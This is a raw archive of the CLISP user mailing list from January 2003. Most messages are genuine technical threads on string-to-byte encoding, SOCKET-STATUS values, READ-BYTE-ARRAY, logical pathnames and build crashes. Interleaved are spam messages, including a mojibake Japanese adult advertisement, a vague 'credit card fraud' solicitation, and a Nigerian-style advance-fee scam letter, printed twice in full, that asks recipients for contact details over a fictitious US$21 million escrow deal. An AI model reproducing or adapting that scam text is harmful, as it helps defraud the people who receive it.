ESMTP for clisp-list@lists.sourceforge.net; Mon, 27 Jan 2003 17:01:22 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Jan 2003 17:01:22 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01869CBD@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] ext:convert-string-to-bytes ignores the encoding's :line-terminat or Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 27 08:02:02 2003 X-Original-Date: Mon, 27 Jan 2003 17:01:21 +0100 Hi, the above is CLISP's documented behaviour, nevertheless I've got a = feeling that it's wrong. o Write to a stream :element-type 'character :external-format ... = :line-terminator :dos -> CRLF is written out for each #\newline o write to a stream :element-type '(unsigned-byte 8) using = EXT:CONVERT-STRING-TO-BYTES because for some reason, you can't work = with CLISP's character streams (lack of bivalence). -> is written out for each #\newline That is, if you want to use :element-type '(unsigned-byte 8), you have = to split the strings into separate lines and insert all CR and/or LF = yourself! OTOH, the current behaviour is consistent with the 1:1 restriction of = the FFI: the foreign side only sees a single LF for each #\newline when = FFI:C-STRING is used as a parameter or return type specification. I'm wondering what is seen on a Mac. Consistency with FFI means that (unix:ffi-write ... (c-array character = type) ...) and (ext:write-byte-sequence (ext:convert-string-to-bytes = #)) write the same thing: no CRLF, only LF. The current behaviour makes it much less straightforward to roll one's = own stream doing 8bit I/O. Maybe that's a limitation of the internal mbs_*() library? IMHO it would be nice to emulate CLISP's CR/LF conversion for character = streams using convert-string-to-bytes. The thing is: convert-string-to-bytes already takes a required = :encoding argument. Why not use the :line-terminator embedded in that = encoding? Regards, J=F6rg H=F6hle. From yukafgul@dvd-store.com Mon Jan 27 17:58:30 2003 Received: from 200-207-40-236.dglnet.com.br ([200.207.40.236] helo=dvd-store.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dL19-0008RL-00 for ; Mon, 27 Jan 2003 17:58:29 -0800 Message-ID: <000700c0ae54$cbd33712$08267661@ndlvubb.kjc> From: To: MIME-Version: 1.0 Content-Type: text/html; charset="shift-jis" X-Priority: 3 X-Mailer: The Bat! (v1.52f) Business Importance: Normal Subject: [clisp-list] ŠúŠÔŒÀ’èB–³—¿‚ŃGƒbƒ`ƒrƒfƒI‚ðŒöŠJBI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 27 17:59:03 2003 X-Original-Date: Tue, 28 Jan 2003 05:29:10 -0400 6

ŠúŠÔŒÀ’èB–³—¿‚ŃGƒbƒ`ƒrƒfƒI‚ðŒöŠJB
휊ó–]‚Ísvalofskil@yahoo.com.br‚Ö53-INY-vj
From osagie101@spinfind.com Tue Jan 28 01:13:16 2003 Received: from [195.166.227.251] (helo=malik) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dRng-0002q1-00 for ; Tue, 28 Jan 2003 01:13:03 -0800 From: osagie101@spinfind.com To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset="DEFAULT" Reply-To: osagie101@spinfind.com X-Priority: 3 X-Library: Indy 9.0.3-B X-Mailer: Foxmail Message-Id: Subject: [clisp-list] BUSINESS RELATIONSHIP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 01:14:04 2003 X-Original-Date: Tue, 28 Jan 2003 09:17:54 +0000 Dear Sir, I have been instructed by my colleagues to look for partners who can assist us execute an urgent business transaction involving huge profits and international cooperation. We are interested in the importation of Solar Panels, Agricultural equipment and computer accessories. We need a foreign partner who can assist us with the transaction involving US$21 320 000.00, which has been set-aside in an escrow account. We have resolved that a negotiable percentage will be your commission for participating in this transaction on our behalf and any other assistance you may give in this deal. A percentage will also be set aside from the entire sum to settle any expenses we may incur in the course of this transaction. My colleagues and I are civil servants and as such, it is not possible for any of us to operate a foreign account directly; hence we are soliciting your support. We propose to finalize the transaction in ten working days. If this proposal is accepted please respond to us via e-mail to enable us provide you with the detailed modalities for the successful completion of the project. I would also suppose you’d prefer a voice contact which requires sending your telephone and fax numbers to facilitate the various processes.There is no risk involved we just need an international contact.Moreso,it will be of great importance you provide me with your telephone/fax details,so we can have a more detailed conversation regarding the whole project. Finally, if you are not interested in this proposal, I apologize on behalf of myself and my colleagues for any inconvenience. May the good lord be with you always Amen. Yours Sincerely, Engr Emma Osagie From offer1@cfl.rr.com Tue Jan 28 01:17:30 2003 Received: from smtp-server3.tampabay.rr.com ([65.32.1.41]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dRs0-0003IK-00 for ; Tue, 28 Jan 2003 01:17:28 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server3.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0S9CgwC021606 for ; Tue, 28 Jan 2003 04:17:26 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200312815450clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 01:18:02 2003 X-Original-Date: Tue, 28 Jan 2003 04:17:30 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From osagie101@spinfind.com Tue Jan 28 05:49:28 2003 Received: from [195.166.227.196] (helo=malik) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dW73-0001Zi-00 for ; Tue, 28 Jan 2003 05:49:19 -0800 From: osagie101@spinfind.com To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset="DEFAULT" Reply-To: osagie101@spinfind.com X-Priority: 3 X-Library: Indy 9.0.3-B X-Mailer: Foxmail Message-Id: Subject: [clisp-list] BUSINESS RELATIONSHIP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 05:50:03 2003 X-Original-Date: Tue, 28 Jan 2003 13:54:13 +0000 Dear Sir, I have been instructed by my colleagues to look for partners who can assist us execute an urgent business transaction involving huge profits and international cooperation. We are interested in the importation of Solar Panels, Agricultural equipment and computer accessories. We need a foreign partner who can assist us with the transaction involving US$21 320 000.00, which has been set-aside in an escrow account. We have resolved that a negotiable percentage will be your commission for participating in this transaction on our behalf and any other assistance you may give in this deal. A percentage will also be set aside from the entire sum to settle any expenses we may incur in the course of this transaction. My colleagues and I are civil servants and as such, it is not possible for any of us to operate a foreign account directly; hence we are soliciting your support. We propose to finalize the transaction in ten working days. If this proposal is accepted please respond to us via e-mail to enable us provide you with the detailed modalities for the successful completion of the project. I would also suppose you’d prefer a voice contact which requires sending your telephone and fax numbers to facilitate the various processes.There is no risk involved we just need an international contact.Moreso,it will be of great importance you provide me with your telephone/fax details,so we can have a more detailed conversation regarding the whole project. Finally, if you are not interested in this proposal, I apologize on behalf of myself and my colleagues for any inconvenience. May the good lord be with you always Amen. Yours Sincerely Engr Emma Osagie From sds@gnu.org Tue Jan 28 17:48:50 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dhLO-0001r4-00 for ; Tue, 28 Jan 2003 17:48:50 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129014843.FBZB16306.out005.verizon.net@loiso.podval.org>; Tue, 28 Jan 2003 19:48:43 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0T1oVSM026923; Tue, 28 Jan 2003 20:50:31 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0T1oUI1026919; Tue, 28 Jan 2003 20:50:30 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] proposed modifications to SOCKET-STATUS References: <15924.20395.270701.517255@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15924.20395.270701.517255@isis.cs3-inc.com> Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Tue, 28 Jan 2003 19:48:43 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 17:49:12 2003 X-Original-Date: 28 Jan 2003 20:50:30 -0500 > * In message <15924.20395.270701.517255@isis.cs3-inc.com> > * On the subject of "[clisp-list] proposed modifications to SOCKET-STATUS" > * Sent on Sun, 26 Jan 2003 13:14:19 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > we can make SOCKET-STATUS distinguish between WAIT and EOF conditions > > and return :IO/:INPUT/:APPEND/:EOF/:OUTPUT/:WAIT (6 possible replies > > instead of 4). > Previous values were nil, io, input, output, error (5, not 4). :ERROR is different and it stays there, of course. > I gather io, input and output mean the same as before? yes. > So nil,error now map to append, eof, wait? no. nil maps to :wait. :error --> :error :append was :output :eof was nil. > Could you please tell us what those new values mean? :ERROR: next i/o will generate an error :INPUT: only input is possible (or requested) :OUTPUT: only output is possible (or requested) :IO: both input and output are possible :EOF: input --> EOF, output impossible or not requested :APPEND: output possible, input --> EOF :WAIT: both output & input --> hang (or not requested) > > note that this change is __NOT__ backwards compatible. > > if you do not like the change please do voice your opinion ASAP! > Perhaps it could be made backward compatible? no. the granularity is now different, more situations are discriminated between, > if the list is > ((socket1 direction1 . x) ...) > it will replace x with the new status. yes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't hit a man when he's down -- kick him; it's easier. From sds@gnu.org Tue Jan 28 17:54:48 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dhRA-0002Zw-00 for ; Tue, 28 Jan 2003 17:54:48 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20030129015441.DVNE1680.pop018.verizon.net@loiso.podval.org>; Tue, 28 Jan 2003 19:54:41 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0T1uSSM026935; Tue, 28 Jan 2003 20:56:29 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0T1uRKe026931; Tue, 28 Jan 2003 20:56:27 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument + RFE: how much could ext:convert-from-string process? References: <9F8582E37B2EE5498E76392AEDDCD3FE01869B39@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE01869B39@G8PQD.blf01.telekom.de> Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.48.207] at Tue, 28 Jan 2003 19:54:41 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 17:55:11 2003 X-Original-Date: 28 Jan 2003 20:56:27 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE01869B39@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument + RFE: how much could ext:convert-from-string process?" > * Sent on Mon, 27 Jan 2003 11:27:00 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam wrote: > >when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a > >(VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and > >returns whatever is available: > > No-hang is misleading, as it depends on the programmer having set > non-blocking-mode on this socket. it does not. > I believe the next thing that people will ask for is how to deal with > multibyte encodings. I think that EXT:CONVERT-STRING-FROM-BYTES > should return an extra value (like PARSE-INTEGER) to indicate whether > it could process everything (NIL, as for typical :END convention) or > stopped earlier (index, as in PARSE-INTEGER, usable as :END or :START) > because it hit an incomplete character. sounds reasonable. I defer this to Bruno. > >a similar interface to write(2), i.e., WRITE-BYTE-SEQUENCE :NO-HANG, > >is trickier: it is not clear how WRITE-BYTE-SEQUENCE should indicate > >incomplete output. maybe an extra return value? > Sounds reasonable. > >or maybe make it always return the same as READ-BYTE-ARRAY - > >the number of elements processed? > That's too late, as this function has been available for many years > and documented as returning the sequence. An extra value is the only > option. Unless you introduce a new function, which is not your > favourite choice (you prefer adding keywords). returning the string is broken (and useless). do people use WRITE-BYTE-SEQUENCE directly? (as opposed to WRITE-SEQUENCE) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The paperless office will become a reality soon after the paperless toilet. From pascal@thalassa.informatimago.com Tue Jan 28 20:27:50 2003 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18djp8-0003fC-00 for ; Tue, 28 Jan 2003 20:27:43 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 5E94F238AE; Wed, 29 Jan 2003 05:27:32 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030129042732.5E94F238AE@thalassa.informatimago.com> Subject: [clisp-list] logical-pathname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 20:28:04 2003 X-Original-Date: Wed, 29 Jan 2003 05:27:32 +0100 (CET) Hello, [37]> (lisp-implementation-version) "2.30 (released 2002-09-15) (built 3251450717) (memory 3251450977)" I'm wondering if there is not a problem with logical-pathname on unix: [38]> (namestring (pathname "/home/pascal/tmp/test/*")) "/home/pascal/tmp/test/*" OK. [39]> (namestring (logical-pathname "/home/pascal/tmp/test/*")) ";HOME;PASCAL;TMP;TEST;*" Oops ! A relative path! [40]> (logical-pathname "/home/pascal/tmp/test/*") #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:RELATIVE "HOME" "PASCAL" "TMP" "TEST") :NAME :WILD :TYPE NIL :VERSION NIL) Since the namestring started with '/', I expected an :ABSOLUTE logical path name. As it is, the :RELATIVE logical-pathname can't be used, because DIRECTORY really works relatively to the current directory instead of relatively to the root: [41]> (directory (logical-pathname "/home/pascal/tmp/test/*")) NIL [42]> (directory (pathname "/home/pascal/tmp/test/*")) (#P"/home/pascal/tmp/test/a" #P"/home/pascal/tmp/test/b" #P"/home/pascal/tmp/test/c") Note also the dot appended to the pathname when translating a logical-path name: (translate-logical-pathname "/home/pascal/tmp/test/*") #P"home/pascal/tmp/test/*." could prevent DIRECTORY to work too even if the logical path built was :ABSOLUTE. [150]> (directory #P"/home/pascal/tmp/test/*.") NIL [151]> (directory #P"/home/pascal/tmp/test/*") (#P"/home/pascal/tmp/test/a" #P"/home/pascal/tmp/test/b" #P"/home/pascal/tmp/test/c") The paths in Common-Lisp is already complicated enough. It would be nice if the implementation showed a little more regularity there. If I've understood correctly the section 19.4 of CLHS and the relative glossary entries, we have the following "class diagram" anontated with transitions denoting the functions available to manipulate the paths. Please correct me if I've misunderstood a specification here. (Perhaps, pathname and physical-pathname are identical?) parse-namestring +--+ | | V | +------------------------+ | pathname |---------------------------+ +------------------------+ | make-pathname | + device | | *---------------->| + directory | | | + host |<----------------------+ | | + name | | | | + type | | | | + version | | | +------------------------+ | | | | | / \ | | logical-pathname /___\ | | +--+ | | | | | +-----------+-------------+ | | V | | | | | +------------------+ +-------------------+ | | +------->| logical-pathname | | physical-pathname | | | | +------------------+ +-------------------+ | | | ^ | | | translate-logical-pathname | | | | +--------------------+ | | | | | | | | | | |logical-pathname | | | | | parse-namestring | | | +---------------------+ pathname | | +------------| pathname-designator |------------------------------+ | +---------------------+ | | | / \ | /___\ enough-namestring | | host-namestring | +-----------+----------+ directory-namestring | | | file-namestring | +--------+ +------------+ namestring | | stream | | namestring |<---------------------------+ +--------+ +------------+ | / \ /___\ | +------------+---------------+ | | +---------------------+ +-----------------------+ | string-standardized | | string-implementation | +---------------------+ +-----------------------+ aka logical-pathname-namestring Standardized string and logical pathname namestring seem to be the same thing. Then pathname should probably build a logical pathname when given a logical pathname namestring contrarily to what is currently implemented. Note also about pathname that it's specified over a pathspec, ie a pathname designator, (stream or namestring), not over pathname. So: (pathname (pathname "/tmp")) should probably raise an error instead of returning (pathname "/tmp")... -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From don-sourceforge@isis.cs3-inc.com Tue Jan 28 21:40:13 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dkxJ-0008HH-00 for ; Tue, 28 Jan 2003 21:40:13 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0T5cEc10149; Tue, 28 Jan 2003 21:38:14 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15927.26822.517813.724780@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] proposed modifications to SOCKET-STATUS In-Reply-To: References: <15924.20395.270701.517255@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 28 21:41:03 2003 X-Original-Date: Tue, 28 Jan 2003 21:38:14 -0800 > > Could you please tell us what those new values mean? > > :ERROR: next i/o will generate an error > :INPUT: only input is possible (or requested) > :OUTPUT: only output is possible (or requested) > :IO: both input and output are possible > :EOF: input --> EOF, output impossible or not requested > :APPEND: output possible, input --> EOF > :WAIT: both output & input --> hang (or not requested) What's this requested stuff? Under what circumstance would io cause an error? Socket closed? (Hmm, even that should give eof on input, right?) So, if I understand, input can do three things: - wait - eof - return immediately with "real" input whereas output can only do 2: - wait - return immediately You call these input wait real eof output +------------------------- return| output io append wait | wait input eof It seems to me that you might want another row for output when the output direction has been closed. In that case I guess output would give an error? So right now you return error in that case regardless of what input would give? Or maybe in clisp once you close you can no longer read either, i.e., the two directions don't really close independently as in tcp. (Am I making sense to you ?) From yuri%yk.udmts.elektra.ru@udmts.elektra.ru Wed Jan 29 02:35:55 2003 Received: from aps.mark-itt.ru ([217.14.192.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dpZM-0004KT-00 for ; Wed, 29 Jan 2003 02:35:48 -0800 Received: from [195.161.198.81] (HELO proxy.udmene.ru) by aps.mark-itt.ru (CommuniGate Pro SMTP 4.0.5) with ESMTP-TLS id 38882177 for clisp-list@lists.sourceforge.net; Wed, 29 Jan 2003 14:35:38 +0400 Received: from id2.udmene.elektra.ru (id2.udmene.elektra.ru [192.168.30.206]) by proxy.udmene.ru (8.11.3/8.11.3) with ESMTP id h0TAZXb71961 for ; Wed, 29 Jan 2003 14:35:35 +0400 (SAMT) (envelope-from yk.udmts.elektra.ru!yuri@udmts.elektra.ru) Received: from id2.udmene.elektra.ru (root@localhost) by id2.udmene.elektra.ru (8.12.3/8.12.3) with SMTP id h0TAZMR3006164 for ; Wed, 29 Jan 2003 15:35:22 +0500 Received: from id2.udmene.elektra.ru (localhost [127.0.0.1]) by id2.udmene.elektra.ru (8.12.3/8.12.3) with ESMTP id h0TAZLoF006155 for ; Wed, 29 Jan 2003 15:35:21 +0500 Received: from udmts.elektra.ru (uucp@localhost) by id2.udmene.elektra.ru (8.12.3/8.12.3/Submit) with UUCP id h0TAZKOV006154 for clisp-list@lists.sourceforge.net; Wed, 29 Jan 2003 15:35:20 +0500 Received: from yk.udmts.elektra.ru by bc.udmts.elektra.ru with smtp (Linux Smail3.2.0.111 #2) id m18dpYz-000qQTC; Wed, 29 Jan 2003 14:35:25 +0400 (SAMT) Received: (from yuri@localhost) by yk.udmts.elektra.ru (8.9.3/8.9.3) id OAA15312 for clisp-list@lists.sourceforge.net; Wed, 29 Jan 2003 14:35:25 +0400 From: Yuri Kostylev Message-Id: <200301291035.OAA15312@yk.udmts.elektra.ru> To: clisp-list@lists.sourceforge.net X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Subject: [clisp-list] unable to install clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 02:36:08 2003 X-Original-Date: Wed, 29 Jan 2003 14:35:24 +0400 (SAMT) Hello! In clisp-2.30-i686-unk~-2.4.18-10.tar.gz (clisp 2.30 (2002-09-15)) $ make cc -O base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl /usr/lib/libsigsegv.a -lc -lm -o base/lisp.run base/lisp.a(lisp.o): In function `lisp_completion_more': lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_function' collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 þÔÏ ÄÅÌÁÔØ? What have i to do? From yuri%yk.udmts.elektra.ru@udmts.elektra.ru Wed Jan 29 02:52:54 2003 Received: from aps.mark-itt.ru ([217.14.192.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dppn-0007GS-00 for ; Wed, 29 Jan 2003 02:52:48 -0800 Received: from [195.161.198.81] (HELO proxy.udmene.ru) by aps.mark-itt.ru (CommuniGate Pro SMTP 4.0.5) with ESMTP-TLS id 38883412 for clisp-list@lists.sourceforge.net; Wed, 29 Jan 2003 14:52:38 +0400 Received: from id2.udmene.elektra.ru (id2.udmene.elektra.ru [192.168.30.206]) by proxy.udmene.ru (8.11.3/8.11.3) with ESMTP id h0TAqSb72007 for ; Wed, 29 Jan 2003 14:52:30 +0400 (SAMT) (envelope-from yk.udmts.elektra.ru!yuri@udmts.elektra.ru) Received: from id2.udmene.elektra.ru (root@localhost) by id2.udmene.elektra.ru (8.12.3/8.12.3) with SMTP id h0TAqHfb006590 for ; Wed, 29 Jan 2003 15:52:17 +0500 Received: from id2.udmene.elektra.ru (localhost [127.0.0.1]) by id2.udmene.elektra.ru (8.12.3/8.12.3) with ESMTP id h0TAqHoF006581 for ; Wed, 29 Jan 2003 15:52:17 +0500 Received: from udmts.elektra.ru (uucp@localhost) by id2.udmene.elektra.ru (8.12.3/8.12.3/Submit) with UUCP id h0TAqGcs006580 for clisp-list@lists.sourceforge.net; Wed, 29 Jan 2003 15:52:16 +0500 Received: from yk.udmts.elektra.ru by bc.udmts.elektra.ru with smtp (Linux Smail3.2.0.111 #2) id m18dppM-000qQTC; Wed, 29 Jan 2003 14:52:20 +0400 (SAMT) Received: (from yuri@localhost) by yk.udmts.elektra.ru (8.9.3/8.9.3) id OAA23830 for clisp-list@lists.sourceforge.net; Wed, 29 Jan 2003 14:52:20 +0400 From: Yuri Kostylev Message-Id: <200301291052.OAA23830@yk.udmts.elektra.ru> To: clisp-list@lists.sourceforge.net X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] sigsegv? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 02:53:05 2003 X-Original-Date: Wed, 29 Jan 2003 14:52:20 +0400 (SAMT) clisp-2.30 $ base/lisp.run -M base/lispinit.mem [1]> (without-package-lock () (compile-file "src/config.lisp") (load "src/config.fas")) *** - handle_fault error2 ! address = 0x88000013 not in [0x68054B98,0x6807E000) ! SIGSEGV cannot be cured. Fault address = 0x88000013. Segmentation fault (core dumped) $ gdb -core=core base/lisp.run GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `base/lisp.run -M base/lispinit.mem'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libreadline.so.4.1...done. Reading symbols from /usr/lib/libncurses.so.4...done. Reading symbols from /lib/libdl.so.2...done. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/libm.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. Reading symbols from /usr/lib/gconv/KOI8-R.so...done. #0 0x8054cc7 in unwind () (gdb) bt #0 0x8054cc7 in unwind () #1 0x4009fbe4 in __sigjmp_save (env=0x20298aa9, savemask=539593336) #2 0x805b336 in funcall_closure () #3 0x805b336 in funcall_closure () #4 0x805b336 in funcall_closure () #5 0x40099cc3 in __libc_start_main (main=0x80518d4
